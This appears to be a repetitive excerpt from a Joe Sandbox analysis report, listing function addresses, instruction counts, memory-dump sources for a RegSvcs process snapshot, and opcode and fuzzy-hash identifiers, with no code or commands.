                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d0727914638a8bad16a988c09b169c4966a69599e5be56c82fef62fbd1ed5ff9
                                                          • Instruction ID: bb5d8ba3914925745aab7df3cc91679f99d7cf3905b902103eb8f288a84361e3
                                                          • Opcode Fuzzy Hash: d0727914638a8bad16a988c09b169c4966a69599e5be56c82fef62fbd1ed5ff9
                                                          • Instruction Fuzzy Hash: DB317AB1A00246DFDB12CFA8C040799BBF0FF4A718F2085AED119EF291D3729942CB90
                                                          Function 015507C3 Relevance: .1, Instructions: 114COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d5cd52895eecb880c6e169c3da7f7a8c4afb905f07e8f793e745d7a4ed51ea18
                                                          • Instruction ID: fac9f5a744db4e5b086b6738dd4b0df864e5d9bba762e4f06f1a5ef651258ad6
                                                          • Opcode Fuzzy Hash: d5cd52895eecb880c6e169c3da7f7a8c4afb905f07e8f793e745d7a4ed51ea18
                                                          • Instruction Fuzzy Hash: 10418D715043029FD360DF69C845F9BBBE8FF88754F104A2EF9989B291D7709904CB92
                                                          Function 014C80A0 Relevance: .1, Instructions: 111COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 4f2c98b180a45ef983e2b99e2f5f4ac5a1731ff9b46dac8ec7a81230f155e47d
                                                          • Instruction ID: 3c543e4ea1fa797c0a425b0b2b6a1496e25dd065f3d0265ec843051213f90b02
                                                          • Opcode Fuzzy Hash: 4f2c98b180a45ef983e2b99e2f5f4ac5a1731ff9b46dac8ec7a81230f155e47d
                                                          • Instruction Fuzzy Hash: ED41C075A05617AFDB41DF59C840AA9B7F1BF94B60F14822FD815AB2A0DB30ED418BD0
                                                          Function 015505A7 Relevance: .1, Instructions: 111COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 949851dd054ea02f21806b6e08c890f75903cce57a1399b810b0c1f6066c9d2c
                                                          • Instruction ID: 1b2e82bdb54ad5bf09f1b007fd86e29fa8fd7996be6d0557a77f28c384f27edf
                                                          • Opcode Fuzzy Hash: 949851dd054ea02f21806b6e08c890f75903cce57a1399b810b0c1f6066c9d2c
                                                          • Instruction Fuzzy Hash: ED41C3726046429FD321DF6CC850A6EB7E9FFC8700F14061EF9949B690E730E905C7A6
                                                          Function 014D4859 Relevance: .1, Instructions: 111COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: aec27c1e30f0b90356974afdec511101d699fdf1b33c7b137e1de28d68bb30b3
                                                          • Instruction ID: a3ea2a37fd514a37179327d652597842ca73695949b067ee46c0bf9975e015a4
                                                          • Opcode Fuzzy Hash: aec27c1e30f0b90356974afdec511101d699fdf1b33c7b137e1de28d68bb30b3
                                                          • Instruction Fuzzy Hash: D341B2302003018FDB25DF2AD8A4B2BBBE9EF90354F1844AEE6958B7B1DB70D955CB51
                                                          Function 014C8B50 Relevance: .1, Instructions: 111COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e050de3ea143aa01ff386b1f0440edaaf0b4c8da5ca0ef795731079471054198
                                                          • Instruction ID: d20458b6b3d4853c2aeada00d922a177d06f8e7168663ca27f3ec8c67db30dbc
                                                          • Opcode Fuzzy Hash: e050de3ea143aa01ff386b1f0440edaaf0b4c8da5ca0ef795731079471054198
                                                          • Instruction Fuzzy Hash: 294192BAE01616CFCB55CF69C98099DB7F1FF99720B10862FD466A73A0DB349901CB40
                                                          Function 014E02E1 Relevance: .1, Instructions: 106COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d45b632d2c88e3b1d2b0a33d4d0818ae25320c4cce4feeb98528bfb7bef810ab
                                                          • Instruction ID: 666eba67f22499adfd079c640079ec20e2e0deb74c81cfd4220bdb35f754377f
                                                          • Opcode Fuzzy Hash: d45b632d2c88e3b1d2b0a33d4d0818ae25320c4cce4feeb98528bfb7bef810ab
                                                          • Instruction Fuzzy Hash: 72311831A04245AFDB228B69CC44B9FBFE9EF54350F0445ABF465DB362C6B49845CBA0
                                                          Function 0157E3DB Relevance: .1, Instructions: 105COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 740cf1c5dc4c7baf722e5186ee25dafe3fbd8313505304b6ec3bc7f1db02e315
                                                          • Instruction ID: 09793184a7ac1e30f9984e320542fed22bc9f1d7e77c29fd357375caa5248c32
                                                          • Opcode Fuzzy Hash: 740cf1c5dc4c7baf722e5186ee25dafe3fbd8313505304b6ec3bc7f1db02e315
                                                          • Instruction Fuzzy Hash: 51317475750716ABDB229F699C42F6B76E9FB59B50F000069B600AF391DAB4DC01C7A0
                                                          Function 01584B4B Relevance: .1, Instructions: 104COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 89df12c79303e4c879c2c3fe8e992340c383fd4bc16c12cbfa18070ac3ee0967
                                                          • Instruction ID: 9407203ebc7e501ca4257c3cf594424b9aeaff2a9dc9ec64d7150f51d2427eea
                                                          • Opcode Fuzzy Hash: 89df12c79303e4c879c2c3fe8e992340c383fd4bc16c12cbfa18070ac3ee0967
                                                          • Instruction Fuzzy Hash: E531AF326056029FC721EF19D880F2AB7E9FF84361F0A446EE9A5AF351D730E944DB91
                                                          Function 014D4260 Relevance: .1, Instructions: 102COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 54fa7ff0a655b2d8a1ff945c4edd9762c420ae9f5c5683ec6dd459a3cfe081b1
                                                          • Instruction ID: e87d44d9e945e8c33410b5726110be1a6d196f76609c12ef1361d2797a66ccd5
                                                          • Opcode Fuzzy Hash: 54fa7ff0a655b2d8a1ff945c4edd9762c420ae9f5c5683ec6dd459a3cfe081b1
                                                          • Instruction Fuzzy Hash: BA41AE71200B45DFDB22CF68C491BAA7BE5BF95714F15842EF69A8B6A0CB70E804CB50
                                                          Function 01584BB0 Relevance: .1, Instructions: 101COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 535953f166c5c5500cfc17705cb8b6a7dcd7fde0d68fbc6a1582522869d2eb9c
                                                          • Instruction ID: 72b0146b3a15f6eb967e6c180dcd27058eed67a589927ae5d6d894cd9874aae9
                                                          • Opcode Fuzzy Hash: 535953f166c5c5500cfc17705cb8b6a7dcd7fde0d68fbc6a1582522869d2eb9c
                                                          • Instruction Fuzzy Hash: 8F317C716047028FD720EF29C881F2AB7E9FB84720F06496DE965AF391E770E904CB91
                                                          Function 0154EB1D Relevance: .1, Instructions: 100COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 76bf07ab4a6e45806df12570f5f8f8ade9d896b9135c63bf5678cbc7b9ae976c
                                                          • Instruction ID: d0e09bfde0d17d30b50f99462d68051c865de48755d99ac2a45a154a5b2c766b
                                                          • Opcode Fuzzy Hash: 76bf07ab4a6e45806df12570f5f8f8ade9d896b9135c63bf5678cbc7b9ae976c
                                                          • Instruction Fuzzy Hash: 6531C1316016969BF3229B6DCD49F297BD8FB40B48F1D04A4AF459F6E2DB3CD841C224
                                                          Function 015961C3 Relevance: .1, Instructions: 97COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5f67237f44455a6de61235df8619331cbf607e3327661c52034649e712292ff4
                                                          • Instruction ID: 2188a66a8a02053bcbfeab2e090905cef68553aa64743bb08219481e21e6d97b
                                                          • Opcode Fuzzy Hash: 5f67237f44455a6de61235df8619331cbf607e3327661c52034649e712292ff4
                                                          • Instruction Fuzzy Hash: B031D076A0021AABDF15DF98C840BAEB7B9FB44B40F4541A9E900AF244D770ED04CBA0
                                                          Function 0157483A Relevance: .1, Instructions: 96COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d2273ebe805d734bc3f5c0c804d363a356c6ebb189ef529d3f08ab5a6ff6c7a4
                                                          • Instruction ID: 87178736cb30fef69a6ce81add1c540a63c211beb779984b30b5832d6368bfc1
                                                          • Opcode Fuzzy Hash: d2273ebe805d734bc3f5c0c804d363a356c6ebb189ef529d3f08ab5a6ff6c7a4
                                                          • Instruction Fuzzy Hash: 50315376A4012DABCF21DF55DC85BDEBBF9BB98350F1100A5E508A7250CB30DE918F90
                                                          Function 014FEB20 Relevance: .1, Instructions: 96COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6568fe1fae80c6b548dc2c9b69895f200d2c894cc6b142fd4d40e383a4d6462f
                                                          • Instruction ID: a80005d92dd12324abf6e5d0649d9d54a8bb8e0d7350b6edcab825001e826cc4
                                                          • Opcode Fuzzy Hash: 6568fe1fae80c6b548dc2c9b69895f200d2c894cc6b142fd4d40e383a4d6462f
                                                          • Instruction Fuzzy Hash: A931C832D00219AFDB21DFA9CC44AAFB7F9EF54750F01442BE616E7370D2709A018BA0
                                                          Function 015960B8 Relevance: .1, Instructions: 95COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6f1396ac3d18203db372401b86264a2842c68de233e3d4c4218107b0c0755193
                                                          • Instruction ID: c02661e147e196ea221b63d2f4952aa99a2c17ca13495c714565751a92a3e1f0
                                                          • Opcode Fuzzy Hash: 6f1396ac3d18203db372401b86264a2842c68de233e3d4c4218107b0c0755193
                                                          • Instruction Fuzzy Hash: 5B31F1B2A40606AFDB229FA9C850B6EB7F9BF84754F00406EE505DF352DA70DC059B92
                                                          Function 014D07AF Relevance: .1, Instructions: 95COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a3326b9da177ab21bececd75f144938c16ccd6b12433f315956bdb1b9d21c21b
                                                          • Instruction ID: 78d2dba01ea9e8fbb34c5e367d189b0ebe2d063eb6facb46c7eceed919b9b2f1
                                                          • Opcode Fuzzy Hash: a3326b9da177ab21bececd75f144938c16ccd6b12433f315956bdb1b9d21c21b
                                                          • Instruction Fuzzy Hash: 9731E872A04712DBCB12DE69C8A596B7BA5EFE4650F01452EFD55AB320DA30DC0187E1
                                                          Function 014D8550 Relevance: .1, Instructions: 94COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8c46571baad8e5101ed166e72ad6b7222e4c8ea51759a82f39826cf097e730b1
                                                          • Instruction ID: 9723a6c696fd360987040cf7bfe2e762b26165babca4657c14371604dc9654b8
                                                          • Opcode Fuzzy Hash: 8c46571baad8e5101ed166e72ad6b7222e4c8ea51759a82f39826cf097e730b1
                                                          • Instruction Fuzzy Hash: DA317A716097028FE760CF19C850B2BFBE5FB98B00F55496EE9849B361D770E848CB91
                                                          Function 0150A6C7 Relevance: .1, Instructions: 92COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0db01105071e305578d35fd0a84dce3d89a7587bc94cbde32e7e57e396344d18
                                                          • Instruction ID: ace7c7e07c9cecaa9432adb6e88b005858c614f5c96fe0a537f74ec64823b4af
                                                          • Opcode Fuzzy Hash: 0db01105071e305578d35fd0a84dce3d89a7587bc94cbde32e7e57e396344d18
                                                          • Instruction Fuzzy Hash: FA313072B00701AFE765CF6DCD40B5BBBF8BF58654F14492DA55AC7691E630E900CB50
                                                          Function 0157EBD0 Relevance: .1, Instructions: 91COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c0f28a15e38cdc2421c09a4cd6693c01f74fe909b590f1dca855a21cfb14a7d9
                                                          • Instruction ID: 199e8c2b42bf349c1d170386ed7e72695fd0114295f8c4405cfc975bbe3ebd9e
                                                          • Opcode Fuzzy Hash: c0f28a15e38cdc2421c09a4cd6693c01f74fe909b590f1dca855a21cfb14a7d9
                                                          • Instruction Fuzzy Hash: 5C31CDB5505301CFC721DF19E54685ABBF9FF99614F0589AEE488AF321D330DA44CB92
                                                          Function 014F438F Relevance: .1, Instructions: 89COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d228cd8bc8d52db77ea484f10f34ae1d11e7f4ae1dd5ca486a28940b1e6bdd33
                                                          • Instruction ID: 9af3ba2bff39fb7f094e74fd662a2626af681b95792a2c2ea2647aba03cb7486
                                                          • Opcode Fuzzy Hash: d228cd8bc8d52db77ea484f10f34ae1d11e7f4ae1dd5ca486a28940b1e6bdd33
                                                          • Instruction Fuzzy Hash: A831A131B006059FD720DFA9C980A6FB7F9BB94304F04852ED245E7765DB30DA45CB50
                                                          Function 014CCB7E Relevance: .1, Instructions: 89COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8cd4161f5b4d08ac4698b36444b06603346f514182f58bb0feca1d395408faf4
                                                          • Instruction ID: f6001016214773b149139ef9f7d003210eb6c0935325adcb8f8f26b6c1c08a6b
                                                          • Opcode Fuzzy Hash: 8cd4161f5b4d08ac4698b36444b06603346f514182f58bb0feca1d395408faf4
                                                          • Instruction Fuzzy Hash: 3321093BE0025AAAD711DBB9C840BAFFBB5AF25740F05843ADE55EB350E270C90087A0
                                                          Function 014CC156 Relevance: .1, Instructions: 88COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 60e8acc0fbfc3c85ef321cdf725d821c3e3981969c1ec5d6301b4a2e7636e4c1
                                                          • Instruction ID: 58a164659641527d28804d76828d452f6de0c99893df3f7e695d91ad121febf2
                                                          • Opcode Fuzzy Hash: 60e8acc0fbfc3c85ef321cdf725d821c3e3981969c1ec5d6301b4a2e7636e4c1
                                                          • Instruction Fuzzy Hash: D83108735002118BDB31AF68C844B6D77B4FF51314F5881AED9469F392DA78D986CB90
                                                          Function 0158C3CD Relevance: .1, Instructions: 88COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
                                                          • Instruction ID: 5abcceea28cf2756bed91ec766365b5da1e4904f9893514b7b2c47a6712b8715
                                                          • Opcode Fuzzy Hash: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
                                                          • Instruction Fuzzy Hash: C9212D3660065366DB25BBD98800AFABBB5FF90711F40801EFA959F5A1E635D990C370
                                                          Function 014CE420 Relevance: .1, Instructions: 88COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 20b5a0ddb6224b43118e683133fb65aeb7d66163b74e9f46bc40dd7874cf043d
                                                          • Instruction ID: ca5e2c6fe0609b788c4255f46e91dd93454fd6022ba55ae4ab6cf90c18c95882
                                                          • Opcode Fuzzy Hash: 20b5a0ddb6224b43118e683133fb65aeb7d66163b74e9f46bc40dd7874cf043d
                                                          • Instruction Fuzzy Hash: D931FC35A0151C9BDB31DF19CC41FEEBBB9EB25B40F0101AAE645BB2A0D7749E818F90
                                                          Function 01504588 Relevance: .1, Instructions: 87COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
                                                          • Instruction ID: 501030dc08a002c65a861e9d942dc9d2cf63c9df9d306acc8dc5206a3e333a7e
                                                          • Opcode Fuzzy Hash: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
                                                          • Instruction Fuzzy Hash: 7F217135A00649EBCB16CFD8C980A9EBBF5FF48714F108169EE159F281E671EA058B90
                                                          Function 015044B0 Relevance: .1, Instructions: 87COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e5c188d4c94b504776ce4f7e08e51f997df00a0ffad11faefefd1a6dbda6e15e
                                                          • Instruction ID: 8239a5cd93c70c1928cf6147f9080fdfcb8ce52acc1f929d36bbaec1720a5184
                                                          • Opcode Fuzzy Hash: e5c188d4c94b504776ce4f7e08e51f997df00a0ffad11faefefd1a6dbda6e15e
                                                          • Instruction Fuzzy Hash: 1C21C1726047469BCB22DF58D980B6B77E4FB88760F014A1DFE589F681D731E9008BA2
                                                          Function 014CE388 Relevance: .1, Instructions: 86COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                                                          • Instruction ID: 86dc5b8a80f2985092cdf031525d842ea72c46cc793748c33130973868ceb671
                                                          • Opcode Fuzzy Hash: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                                                          • Instruction Fuzzy Hash: A631AF35600605EFE711CF69C884F6ABBF9FF85754F1045AAE5129B2A1E730ED02CB50
                                                          Function 0154E609 Relevance: .1, Instructions: 86COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: bc4897570894822508eb80dc5fef7758d737d14094c13a69608940a3b9d29658
                                                          • Instruction ID: bf18b2ce262e0664d0f6175d8c5eed10e5687abceb5099dfa13296460cf04772
                                                          • Opcode Fuzzy Hash: bc4897570894822508eb80dc5fef7758d737d14094c13a69608940a3b9d29658
                                                          • Instruction Fuzzy Hash: BB318B75A00206DFCB14CF5CD8859AEB7B6FF88708F15445AE80A9F391E775EA40CB90
                                                          Function 015506F1 Relevance: .1, Instructions: 79COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 4530c5b454fad13b43a91392c30d6387f3e6316860d9e1997217febaa1697f2c
                                                          • Instruction ID: dd061ef2925b7d004d2513093687f8547266ea1b4d913bd2031a79651fc80b17
                                                          • Opcode Fuzzy Hash: 4530c5b454fad13b43a91392c30d6387f3e6316860d9e1997217febaa1697f2c
                                                          • Instruction Fuzzy Hash: 8A2191759106299BCF21DF59C891ABEB7F8FF48740B51006AF941AB254E738AD41CBA0
                                                          Function 0155019F Relevance: .1, Instructions: 78COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8f1f6ad61040ed2964dac207d1b9b7a966043fb29eba5811e63f98ccc35c6a65
                                                          • Instruction ID: d205f159f65f27d9c7c4511ccd2627a9b915113153139571cc89c0cec203f89e
                                                          • Opcode Fuzzy Hash: 8f1f6ad61040ed2964dac207d1b9b7a966043fb29eba5811e63f98ccc35c6a65
                                                          • Instruction Fuzzy Hash: DF21AB71600605AFD716DF6DC854E6AB7E8FF98780F1400AAF904DB6A0D634ED40CBA4
                                                          Function 01550283 Relevance: .1, Instructions: 74COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3ff418ed156129a20880b5d58a63d1a5c294f3fbed58857a6ffb6e100a83a6dd
                                                          • Instruction ID: bbab7209d920ce797b7f25008b555b8daf47bad58fc27c1567884ed26af54884
                                                          • Opcode Fuzzy Hash: 3ff418ed156129a20880b5d58a63d1a5c294f3fbed58857a6ffb6e100a83a6dd
                                                          • Instruction Fuzzy Hash: 4921C1725042469BD721EF6AD958B5FBBECBFA1340F09045BBD808B2A2D730D905C6A1
                                                          Function 014F2835 Relevance: .1, Instructions: 73COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
